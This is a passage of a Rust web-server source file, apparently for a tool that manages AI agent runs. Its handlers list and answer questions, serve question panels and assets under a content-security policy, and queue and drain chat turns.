5763 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5764 .map(|(id, _)| id.clone())
5765 .collect();
5766 let mut removed: Vec<_> = previous
5767 .keys()
5768 .filter(|id| !next.contains_key(*id))
5769 .cloned()
5770 .collect();
5771 changed.sort_unstable();
5772 removed.sort_unstable();
5773 Delta {
5774 base,
5775 changed,
5776 removed,
5777 }
5778}
5779
5780fn runs_revision(runs: &FsPath) -> u64 {
5787 stamps_revision(&store_stamps(runs, true))
5788}
5789
5790fn stamps_revision(stamps: &Stamps) -> u64 {
5794 use std::hash::{Hash as _, Hasher as _};
5795 if stamps.is_empty() {
5796 return 0;
5797 }
5798 let mut entries: Vec<_> = stamps.iter().collect();
5799 entries.sort_unstable();
5800 let mut hasher = std::hash::DefaultHasher::new();
5801 entries.hash(&mut hasher);
5802 hasher.finish().max(1)
5803}
5804
5805fn run_ids(runs: &FsPath) -> Vec<String> {
5811 let mut ids: Vec<String> = std::fs::read_dir(runs)
5812 .into_iter()
5813 .flatten()
5814 .flatten()
5815 .filter(|e| e.path().join("run.json").is_file())
5816 .map(|e| e.file_name().to_string_lossy().into_owned())
5817 .collect();
5818 ids.sort_unstable_by(|a, b| b.cmp(a));
5820 ids
5821}
5822
5823fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5825 let path = runs.join(id).join("run.json");
5826 let body =
5827 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5828 let state: RunState =
5829 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5830 run::migrate_schema(state)
5835}
5836
5837#[must_use]
5845pub fn runs_unreadable(runs: &FsPath) -> usize {
5846 run_ids(runs)
5847 .into_iter()
5848 .filter(|id| read_run(runs, id).is_err())
5849 .count()
5850}
5851
5852fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5854 if runs.join(id).join("run.json").is_file() {
5855 return Ok(id.to_owned());
5856 }
5857 pick(run_ids(runs), id, "run")
5858}
5859
5860fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5862 if queue.path_of(id).is_file() {
5863 return Ok(id.to_owned());
5864 }
5865 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5866}
5867
5868#[derive(Debug, Serialize)]
5879struct QuestionView {
5880 #[serde(flatten)]
5881 question: Question,
5882 detail_md: Vec<md::Node>,
5883 thread_bodies_md: Vec<Vec<md::Node>>,
5885 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5888 waiting_on_agent: bool,
5898 holder: Option<&'static str>,
5902 deputies_enabled: bool,
5906 run_is_task: bool,
5909 origin_chat: Option<String>,
5914 origin_chat_closed: bool,
5916}
5917
5918impl QuestionView {
5919 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5923 let base = md::ImageBase::QuestionPanel {
5924 id: question.id.clone(),
5925 };
5926 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5927 Self {
5928 detail_md: md::to_nodes(&question.detail, &base),
5929 thread_bodies_md: question
5930 .thread
5931 .iter()
5932 .map(|t| md::to_nodes(&t.body, &base))
5933 .collect(),
5934 thread_notes_md: question
5935 .thread
5936 .iter()
5937 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5938 .collect(),
5939 waiting_on_agent: question.waiting_on_agent(),
5940 holder,
5941 deputies_enabled,
5942 run_is_task: question.run_names_task(),
5943 origin_chat: None,
5944 origin_chat_closed: false,
5945 question,
5946 }
5947 }
5948
5949 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5951 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5952 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5953 self.origin_chat = talk.map(|t| t.id);
5954 self
5955 }
5956}
5957
5958fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5962 Config::discover(repo, None).ok().map(|(c, _)| c)
5963}
5964
5965fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5967 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5968}
5969
5970fn question_views(
5973 qs: Vec<Question>,
5974 store: &ask::Questions,
5975 load: impl FnOnce() -> Option<Config>,
5976) -> Vec<QuestionView> {
5977 if qs.is_empty() {
5978 return Vec::new();
5979 }
5980 let cfg = load();
5981 qs.into_iter()
5982 .map(|q| {
5983 let on = deputies_enabled(cfg.as_ref(), &q);
5984 QuestionView::of(q, store, on)
5985 })
5986 .collect()
5987}
5988
5989fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5999 if !q.status.open() {
6000 return None;
6001 }
6002 if q.cwd.is_none() && q.deputy.is_none() {
6003 return crate::deputy::kind_of(q).map(|_| "nobody");
6004 }
6005 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6006 Some(_) if q.deputy.is_some() => "deputy",
6007 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6008 Some(_) => "asker",
6009 None => "nobody",
6010 })
6011}
6012
6013async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6019 blocking(move || {
6020 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6021 Ok(Json(
6022 question_views(ui.questions.list(), &ui.questions, || {
6023 deputy_config(&ui.repo)
6024 })
6025 .into_iter()
6026 .map(|v| v.with_origin(&tasks, &talks))
6027 .collect(),
6028 ))
6029 })
6030 .await
6031}
6032
6033async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6036 blocking(move || {
6037 let items = ui.notices.list();
6038 let unread = items.iter().filter(|n| n.unread()).count();
6039 Ok(Json(
6040 serde_json::json!({ "unread": unread, "items": items }),
6041 ))
6042 })
6043 .await
6044}
6045
6046fn notice_error(e: anyhow::Error) -> ApiError {
6047 ApiError::not_found(format!("{e:#}"))
6050}
6051
6052async fn notification_read(
6054 State(ui): State<Arc<Ui>>,
6055 Path(id): Path<String>,
6056) -> ApiResult<Json<Notice>> {
6057 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6058}
6059
6060async fn notification_dismiss(
6062 State(ui): State<Arc<Ui>>,
6063 Path(id): Path<String>,
6064) -> ApiResult<Json<Notice>> {
6065 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6066}
6067
6068async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6070 blocking(move || {
6071 let changed = ui.notices.mark_all_read()?;
6072 Ok(Json(serde_json::json!({ "marked": changed })))
6073 })
6074 .await
6075}
6076
6077#[derive(Debug, Default, Deserialize)]
6083#[serde(default, deny_unknown_fields)]
6084struct NewAnswer {
6085 choice: Option<String>,
6086 text: Option<String>,
6087}
6088
6089async fn question_answer(
6090 State(ui): State<Arc<Ui>>,
6091 Path(id): Path<String>,
6092 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6093) -> ApiResult<Json<QuestionView>> {
6094 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6095 let answer = match (body.choice, body.text) {
6096 (Some(c), None) => Answer::Choice(c),
6097 (None, Some(t)) => Answer::Text(t),
6098 (Some(_), Some(_)) => {
6099 return Err(ApiError::bad_request(
6100 "send either `choice` or `text`, not both",
6101 ));
6102 }
6103 (None, None) => {
6104 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6105 }
6106 };
6107
6108 blocking(move || {
6109 let id = resolve_question(&ui.questions, &id)?;
6110 let q = ui
6111 .questions
6112 .get(&id)
6113 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6114 if !q.status.open() {
6115 return Err(ApiError::conflict(format!(
6119 "question {} is already {}",
6120 q.short(),
6121 q.status.as_str()
6122 )));
6123 }
6124 let (q, ()) = ui
6128 .questions
6129 .update(&q.id, |r| r.answer(answer))
6130 .map_err(ApiError::bad_request_from)?;
6131 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6132 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6133 Ok(Json(
6134 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6135 ))
6136 })
6137 .await
6138}
6139
6140#[derive(Debug, Deserialize)]
6142#[serde(deny_unknown_fields)]
6143struct NewSay {
6144 body: String,
6145}
6146
6147async fn question_say(
6157 State(ui): State<Arc<Ui>>,
6158 Path(id): Path<String>,
6159 body: std::result::Result<Json<NewSay>, JsonRejection>,
6160) -> ApiResult<Json<QuestionView>> {
6161 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6162 blocking(move || {
6163 let id = resolve_question(&ui.questions, &id)?;
6164 let q = ui
6165 .questions
6166 .get(&id)
6167 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6168 if !q.status.open() {
6169 return Err(ApiError::conflict(format!(
6173 "question {} is already {}",
6174 q.short(),
6175 q.status.as_str()
6176 )));
6177 }
6178 let (q, ()) = ui
6181 .questions
6182 .update(&q.id, |r| r.say(body.body))
6183 .map_err(ApiError::bad_request_from)?;
6184 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6185 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6186 Ok(Json(
6187 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6188 ))
6189 })
6190 .await
6191}
6192
6193async fn question_consult(
6202 State(ui): State<Arc<Ui>>,
6203 Path(id): Path<String>,
6204) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6205 let (view, reclaimed) = blocking({
6206 let ui = Arc::clone(&ui);
6207 move || {
6208 let id = resolve_question(&ui.questions, &id)?;
6209 let q = ui
6210 .questions
6211 .get(&id)
6212 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6213 if !q.status.open() {
6214 return Err(ApiError::conflict(format!(
6215 "question {} is already {}",
6216 q.short(),
6217 q.status.as_str()
6218 )));
6219 }
6220 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6221 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6222 return Err(ApiError::conflict(format!(
6223 "question {} has no chat to ask",
6224 q.short()
6225 )));
6226 };
6227 let cfg = if q.consult.is_none() {
6231 Some(Config::discover(&talk.repo, None)?.0)
6232 } else {
6233 None
6234 };
6235 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6236 let claim = if fresh {
6237 match ui.begin_queued_talk_turn(&talk.id)? {
6238 Some(turn_guard) => {
6239 let talk = ui.talks.get(&talk.id)?;
6240 let cfg = match cfg {
6241 Some(cfg) => cfg,
6242 None => Config::discover(&talk.repo, None)?.0,
6243 };
6244 Some((talk, cfg, turn_guard))
6245 }
6246 None => None,
6247 }
6248 } else {
6249 None
6250 };
6251 let q = ui.questions.get(&q.id)?;
6252 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6253 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6254 Ok((view, claim))
6255 }
6256 })
6257 .await?;
6258 if let Some((talk, cfg, turn_guard)) = reclaimed {
6259 let talks = ui.talks.clone();
6260 let id = talk.id.clone();
6261 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6262 }
6263 Ok((StatusCode::ACCEPTED, Json(view)))
6264}
6265
6266fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6268 if store.path_of(id).is_file() {
6269 return Ok(id.to_owned());
6270 }
6271 pick(
6272 store.list().into_iter().map(|q| q.id).collect(),
6273 id,
6274 "question",
6275 )
6276}
6277
6278async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6293 blocking(move || {
6294 let id = resolve_question(&ui.questions, &id)?;
6295 let Some(html) = ui.questions.panel_html(&id) else {
6296 return Err(ApiError::not_found(format!("question {id} has no panel")));
6297 };
6298 Ok(panel_response(
6299 "text/html; charset=utf-8",
6300 false,
6301 html.into_bytes(),
6302 ))
6303 })
6304 .await
6305}
6306
6307async fn question_asset(
6335 State(ui): State<Arc<Ui>>,
6336 Path((id, name)): Path<(String, String)>,
6337) -> ApiResult<Response> {
6338 if !crate::ask::valid_asset_name(&name) {
6341 return Err(ApiError::bad_request(format!(
6342 "`{name}` is not a usable asset name"
6343 )));
6344 }
6345 blocking(move || {
6346 let id = resolve_question(&ui.questions, &id)?;
6347 let asset = ui
6348 .questions
6349 .panel_asset(&id, &name)
6350 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6351 let Some(bytes) = asset else {
6352 return Err(ApiError::not_found(format!(
6353 "question {id} has no asset `{name}`"
6354 )));
6355 };
6356 Ok(panel_response(
6357 asset_content_type(&name),
6358 is_svg(&name),
6359 bytes,
6360 ))
6361 })
6362 .await
6363}
6364
6365fn asset_content_type(name: &str) -> &'static str {
6378 match extension(name).as_deref() {
6379 Some("png") => "image/png",
6380 Some("jpg" | "jpeg") => "image/jpeg",
6381 Some("gif") => "image/gif",
6382 Some("webp") => "image/webp",
6383 Some("svg") => "image/svg+xml",
6384 Some("css") => "text/css; charset=utf-8",
6385 Some("txt") => "text/plain; charset=utf-8",
6386 _ => "application/octet-stream",
6387 }
6388}
6389
6390fn is_svg(name: &str) -> bool {
6393 extension(name).as_deref() == Some("svg")
6394}
6395
6396fn extension(name: &str) -> Option<String> {
6398 name.rsplit_once('.')
6399 .map(|(_, ext)| ext.to_ascii_lowercase())
6400}
6401
6402fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6419 let mut res = (
6420 [
6421 (header::CONTENT_TYPE, content_type),
6422 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6423 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6424 (header::REFERRER_POLICY, "no-referrer"),
6425 ],
6426 body,
6427 )
6428 .into_response();
6429 if download {
6430 res.headers_mut().insert(
6431 header::CONTENT_DISPOSITION,
6432 HeaderValue::from_static("attachment"),
6433 );
6434 }
6435 res
6436}
6437
6438#[derive(Debug, Serialize)]
6444struct TalkView {
6445 #[serde(flatten)]
6446 talk: Talk,
6447 turn_bodies_md: Vec<Vec<md::Node>>,
6448 thinking: bool,
6456 context: talk::ContextUsage,
6460 operator_name: Option<String>,
6463 persona_name: Option<String>,
6465 persona_avatar: String,
6468}
6469
6470impl TalkView {
6471 fn new(talk: Talk, thinking: bool) -> Self {
6474 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6475 Self::with_config(talk, thinking, cfg.as_ref())
6476 }
6477
6478 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6481 let context = talk::context_usage(&talk, cfg);
6482 let turn_bodies_md = talk
6483 .turns
6484 .iter()
6485 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6486 .collect();
6487 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6488 let persona_name = persona::find(specs, &talk.persona)
6489 .filter(|p| !p.is_default())
6490 .map(|p| p.name);
6491 let persona_avatar = avatar_url(
6492 &talk.id,
6493 &persona::find(specs, &talk.persona)
6494 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6495 );
6496 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6497 Self {
6498 turn_bodies_md,
6499 thinking,
6500 context,
6501 operator_name,
6502 persona_name,
6503 persona_avatar,
6504 talk,
6505 }
6506 }
6507}
6508
6509#[derive(Debug, Serialize)]
6514struct TalkDetailView {
6515 #[serde(flatten)]
6516 view: TalkView,
6517 tasks: Vec<TaskView>,
6518 roster: Vec<RosterEntry>,
6521 personas: Vec<PersonaEntry>,
6524}
6525
6526#[derive(Debug, Serialize)]
6528struct PersonaEntry {
6529 id: String,
6530 name: String,
6531 avatar: String,
6533}
6534
6535#[derive(Debug, Serialize)]
6537struct RosterEntry {
6538 id: String,
6539 kind: AgentKind,
6540 runnable: bool,
6542}
6543
6544async fn talks_list(
6549 State(ui): State<Arc<Ui>>,
6550 Query(q): Query<ListQuery>,
6551) -> ApiResult<Json<Vec<TalkView>>> {
6552 blocking(move || {
6553 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6554 Ok(Json(
6555 ui.talks
6556 .list()
6557 .into_iter()
6558 .filter(|talk| q.contains(&talk.id))
6559 .map(|talk| {
6560 let thinking = ui.is_thinking(&talk.id);
6561 let cfg = configs
6562 .entry(talk.repo.clone())
6563 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6564 TalkView::with_config(talk, thinking, cfg.as_ref())
6565 })
6566 .collect(),
6567 ))
6568 })
6569 .await
6570}
6571
6572#[derive(Debug, Default, Deserialize)]
6577#[serde(default)]
6578struct NewTalk {
6579 agent: Option<String>,
6580 repo: Option<PathBuf>,
6581 preferred_agent: Option<serde_json::Value>,
6585 persona: Option<serde_json::Value>,
6586 implementers: Option<serde_json::Value>,
6587}
6588
6589async fn talk_post(
6592 State(ui): State<Arc<Ui>>,
6593 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6594) -> ApiResult<impl IntoResponse> {
6595 let body = match body {
6599 Ok(Json(body)) => body,
6600 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6601 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6602 };
6603 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6604 let cfg = config_for(&repo).await?;
6605 let view = blocking(move || {
6606 let preferred = talk::Preferred {
6607 agent: body
6608 .preferred_agent
6609 .as_ref()
6610 .and_then(|v| v.as_str())
6611 .map(str::to_owned),
6612 persona: body
6613 .persona
6614 .as_ref()
6615 .and_then(|v| v.as_str())
6616 .map(str::to_owned),
6617 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6618 };
6619 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6620 let thinking = ui.is_thinking(&talk.id);
6621 Ok(TalkView::new(talk, thinking))
6622 })
6623 .await?;
6624 Ok((StatusCode::CREATED, Json(view)))
6625}
6626
6627async fn talk_detail(
6629 State(ui): State<Arc<Ui>>,
6630 Path(id): Path<String>,
6631) -> ApiResult<Json<TalkDetailView>> {
6632 blocking(move || {
6633 let id = resolve_talk(&ui.talks, &id)?;
6634 let talk = ui.talks.get(&id)?;
6635 let thinking = ui.is_thinking(&talk.id);
6636 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6637 .into_iter()
6638 .map(TaskView::from)
6639 .collect();
6640 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6641 let roster = cfg
6642 .as_ref()
6643 .map(|cfg| {
6644 cfg.agents
6645 .iter()
6646 .map(|a| RosterEntry {
6647 id: a.id.clone(),
6648 kind: a.kind,
6649 runnable: agent::installed(a),
6650 })
6651 .collect()
6652 })
6653 .unwrap_or_default();
6654 let specs = cfg
6655 .as_ref()
6656 .map(|cfg| cfg.talk.personas.clone())
6657 .unwrap_or_default();
6658 let personas = persona::catalog(&specs)
6659 .into_iter()
6660 .map(|p| PersonaEntry {
6661 avatar: avatar_url(&talk.id, &p),
6662 id: p.id,
6663 name: p.name,
6664 })
6665 .collect();
6666 Ok(Json(TalkDetailView {
6667 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6668 tasks,
6669 roster,
6670 personas,
6671 }))
6672 })
6673 .await
6674}
6675
6676#[derive(Debug, Default, Deserialize)]
6682#[serde(default, deny_unknown_fields)]
6683struct NewTalkTurn {
6684 text: String,
6685 attachments: Vec<String>,
6686}
6687
6688#[derive(Debug, Deserialize)]
6689#[serde(deny_unknown_fields)]
6690struct EditTalkPending {
6691 text: String,
6692 expected_text: String,
6693 expected_attachments: Vec<String>,
6694}
6695
6696#[derive(Debug, Deserialize)]
6697#[serde(deny_unknown_fields)]
6698struct ClearTalkPending {
6699 expected_text: String,
6700 expected_attachments: Vec<String>,
6701}
6702
6703async fn talk_say(
6715 State(ui): State<Arc<Ui>>,
6716 Path(id): Path<String>,
6717 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6718) -> ApiResult<(StatusCode, Json<TalkView>)> {
6719 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6720 if body.text.trim().is_empty() && body.attachments.is_empty() {
6721 return Err(ApiError::bad_request("say something"));
6722 }
6723
6724 let id = {
6725 let ui = Arc::clone(&ui);
6726 let asked = id.clone();
6727 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6728 };
6729 {
6733 let ui = Arc::clone(&ui);
6734 let id = id.clone();
6735 blocking(move || {
6736 let talk = ui.talks.get(&id)?;
6737 if !talk.status.open() {
6738 return Err(ApiError::conflict(format!(
6739 "talk {} is {} and takes no more turns",
6740 talk.short(),
6741 talk.status.as_str()
6742 )));
6743 }
6744 Ok(())
6745 })
6746 .await?;
6747 }
6748
6749 let attachments = {
6754 let ui = Arc::clone(&ui);
6755 let id = id.clone();
6756 let ids = body.attachments.clone();
6757 blocking(move || {
6758 ids.into_iter()
6759 .map(|att_id| {
6760 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6761 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6762 })
6763 })
6764 .collect::<ApiResult<Vec<talk::Attachment>>>()
6765 })
6766 .await?
6767 };
6768
6769 let start = {
6774 let ui = Arc::clone(&ui);
6775 let id = id.clone();
6776 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6777 };
6778 let turn_guard = match start {
6779 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6780 TalkTurnStart::Pending => {
6781 return Err(ApiError::conflict(
6782 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6783 ));
6784 }
6785 TalkTurnStart::Foreign => {
6786 return Err(ApiError::conflict(
6787 "a turn is already running in another process; try again when it has finished",
6788 ));
6789 }
6790 TalkTurnStart::Busy => {
6791 let (tx, rx) = tokio::sync::oneshot::channel();
6807 tokio::spawn({
6808 let ui = Arc::clone(&ui);
6809 let id = id.clone();
6810 let said = body.text.clone();
6811 async move {
6812 let written = blocking({
6813 let ui = Arc::clone(&ui);
6814 let id = id.clone();
6815 move || {
6816 let mut talk = ui.talks.get(&id)?;
6817 #[cfg(test)]
6822 if let Some(gate) = ui
6823 .busy_queue_gate
6824 .lock()
6825 .unwrap_or_else(PoisonError::into_inner)
6826 .take()
6827 {
6828 let _ = gate.reached.send(());
6829 let _ = gate.release.recv();
6830 }
6831 if let Err(error) =
6832 talk::queue(&mut talk, &ui.talks, &said, attachments)
6833 {
6834 if let Ok(fresh) = ui.talks.get(&id) {
6835 if !fresh.status.open() {
6836 return Err(ApiError::conflict(format!(
6837 "talk {} is {} and takes no more turns",
6838 fresh.short(),
6839 fresh.status.as_str()
6840 )));
6841 }
6842 }
6843 return Err(ApiError::from(error));
6844 }
6845 let claim = match ui.begin_queued_talk_turn(&id)? {
6856 Some(turn_guard) => {
6857 let (cfg, _) = Config::discover(&talk.repo, None)?;
6858 Some((talk.clone(), cfg, turn_guard))
6859 }
6860 None => None,
6861 };
6862 let thinking = ui.is_thinking(&id);
6863 Ok((TalkView::new(talk, thinking), claim))
6864 }
6865 })
6866 .await;
6867 let (view, reclaimed) = match written {
6868 Ok(pair) => pair,
6869 Err(e) => {
6870 let _ = tx.send(Err(e));
6875 return;
6876 }
6877 };
6878 let _ = tx.send(Ok(view));
6881 if let Some((talk, cfg, turn_guard)) = reclaimed {
6882 let talks = ui.talks.clone();
6883 drain_loop(talk, talks, cfg, id, turn_guard).await;
6884 }
6885 }
6886 });
6887 let view = rx
6888 .await
6889 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6890 return Ok((StatusCode::ACCEPTED, Json(view)));
6891 }
6892 };
6893
6894 let (talk, cfg) = {
6895 let ui = Arc::clone(&ui);
6896 let id = id.clone();
6897 blocking(move || {
6898 let talk = ui.talks.get(&id)?;
6899 let (cfg, _) = Config::discover(&talk.repo, None)?;
6900 Ok((talk, cfg))
6901 })
6902 .await?
6903 };
6904
6905 let talks = ui.talks.clone();
6906 let (tx, rx) = tokio::sync::oneshot::channel();
6921 tokio::spawn({
6922 let ui = Arc::clone(&ui);
6923 let talks = talks.clone();
6924 let id = id.clone();
6925 let said = body.text.clone();
6926 let mut talk = talk.clone();
6927 async move {
6928 let recorded = blocking({
6929 let talks = talks.clone();
6930 move || {
6931 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6932 if let Ok(fresh) = talks.get(&talk.id) {
6933 if !fresh.status.open() {
6934 return Err(ApiError::conflict(format!(
6935 "talk {} is {} and takes no more turns",
6936 fresh.short(),
6937 fresh.status.as_str()
6938 )));
6939 }
6940 }
6941 return Err(ApiError::from(error));
6942 }
6943 Ok((said.trim().to_owned(), talk))
6949 }
6950 })
6951 .await;
6952 let (text, mut talk) = match recorded {
6953 Ok(pair) => pair,
6954 Err(e) => {
6955 let _ = tx.send(Err(e));
6959 return;
6960 }
6961 };
6962 let queued = talk.clone();
6963 let thinking = ui.is_thinking(&id);
6964 let _ = tx.send(Ok((queued, thinking)));
6967
6968 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6969 tracing::warn!("talk {id} turn failed: {e:#}");
6973 }
6974 drain_loop(talk, talks, cfg, id, turn_guard).await;
6977 }
6978 });
6979
6980 let (queued, thinking) = rx
6981 .await
6982 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6983
6984 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6986}
6987
6988async fn talk_pending_resume(
6992 State(ui): State<Arc<Ui>>,
6993 Path(id): Path<String>,
6994) -> ApiResult<(StatusCode, Json<TalkView>)> {
6995 let id = {
6996 let ui = Arc::clone(&ui);
6997 let asked = id.clone();
6998 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6999 };
7000 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7001 return Err(ApiError::conflict(
7002 "a talk turn is already running; the queued draft will be handled by it",
7003 ));
7004 };
7005 let (talk, cfg) = {
7006 let ui = Arc::clone(&ui);
7007 let id = id.clone();
7008 blocking(move || {
7009 let talk = ui.talks.get(&id)?;
7010 if !talk.status.open() {
7011 return Err(ApiError::conflict(format!(
7012 "talk {} is {} and takes no more turns",
7013 talk.short(),
7014 talk.status.as_str()
7015 )));
7016 }
7017 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7018 return Err(ApiError::conflict("there is no queued draft to resume"));
7019 }
7020 let (cfg, _) = Config::discover(&talk.repo, None)?;
7021 Ok((talk, cfg))
7022 })
7023 .await?
7024 };
7025 let view = TalkView::new(talk.clone(), true);
7026 let talks = ui.talks.clone();
7027 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7028 Ok((StatusCode::ACCEPTED, Json(view)))
7029}
7030
7031async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7047 let live_set = Arc::clone(&turn.turns);
7048 let mut turn = Some(turn);
7056 loop {
7057 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7058 tracing::warn!("talk {id} lost its turn lease; not draining further");
7061 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7062 if let Some(turn) = turn.take() {
7063 turn.release(&mut live);
7064 }
7065 break;
7066 }
7067 {
7068 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7071 if live.parking {
7072 if let Some(turn) = turn.take() {
7073 turn.release(&mut live);
7074 }
7075 break;
7076 }
7077 }
7078 let observed = live_set
7082 .lock()
7083 .unwrap_or_else(PoisonError::into_inner)
7084 .queued
7085 .get(&id)
7086 .copied()
7087 .unwrap_or(0);
7088 let drained = blocking({
7089 let talks = talks.clone();
7090 let live_set = Arc::clone(&live_set);
7091 move || {
7092 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7097 let result = if live.parking {
7098 Ok(None)
7099 } else {
7100 talk::drain(&mut talk, &talks)
7101 };
7102 drop(live);
7103 Ok((talk, result))
7104 }
7105 })
7106 .await;
7107 let (next_talk, result) = match drained {
7108 Ok(drained) => drained,
7109 Err(e) => {
7110 tracing::warn!(
7111 status = %e.status,
7112 message = %e.message,
7113 "talk {id} could not start queued-text drain"
7114 );
7115 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7116 turn.take()
7117 .expect("held for the whole loop until released here")
7118 .release(&mut live);
7119 break;
7120 }
7121 };
7122 talk = next_talk;
7123 let drained = match result {
7124 Ok(Some(drained)) => drained,
7125 Ok(None) => {
7126 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7127 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7128 continue;
7129 }
7130 turn.take()
7131 .expect("held for the whole loop until released here")
7132 .release(&mut live);
7133 break;
7134 }
7135 Err(e) => {
7136 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7137 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7138 turn.take()
7139 .expect("held for the whole loop until released here")
7140 .release(&mut live);
7141 break;
7142 }
7143 };
7144 let responded = match turn.as_ref() {
7145 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7146 None => Err(anyhow::anyhow!("the turn guard was released")),
7147 };
7148 if let Err(e) = responded {
7149 tracing::warn!("talk {id} turn failed: {e:#}");
7150 }
7151 }
7152}
7153
7154async fn talk_pending_clear(
7156 State(ui): State<Arc<Ui>>,
7157 Path(id): Path<String>,
7158 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7159) -> ApiResult<Json<TalkView>> {
7160 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7161 blocking(move || {
